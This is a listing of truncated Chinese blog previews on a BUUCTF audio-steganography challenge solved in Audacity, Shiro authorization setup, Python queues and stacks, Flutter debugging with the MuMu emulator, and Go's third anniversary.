BUUCTF:https://buuoj.cn/challenges 题目描述&#xff1a; 密文&#xff1a; 下载附件&#xff0c;解压得到一个.wav音频文件。 解题思路&#xff1a; 1、得到一个音频文件&#xff0c;放到Audacity看看。看到有两条音轨&#xff0c;放大上面的那条音轨&#xff0c;看到这…

Shiro快速入门之三

一、前言 接Shiro快速入门之二&#xff0c;上篇侧重于介绍认证&#xff0c;这篇介绍一下Shiro的授权&#xff0c;先初始化5张表的数据。 注&#xff1a;创建三条权限记录&#xff0c;一个admin角色分配查询和添加用户权限&#xff0c;一个账户qingcai18036授予管理员角色。 二…

python数据结构与算法-04_队列

队列和栈 前面讲了线性和链式结构&#xff0c;如果你顺利掌握了&#xff0c;下边的队列和栈就小菜一碟了。因为我们会用前两章讲到的东西来实现队列和栈。 之所以放到一起讲是因为这两个东西很类似&#xff0c;队列是先进先出结构(FIFO, first in first out)&#xff0c; 栈是…

android studio开发flutter应用,使用mumu模拟器调试软件

安装好mumu模拟器&#xff0c;先打开网易mumu模拟器的开发者模拟。系统应用 > 设置 > 关于手机 > 版本号 多点击几次调出开发者模式&#xff1a; 然后在android studio中刷新设备列表&#xff0c;就能看到新设备了&#xff1a; 如何确定这个设备就是你的mumu模拟器呢…

2012年11月10日 Go生态洞察:Go语言三周年回顾

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…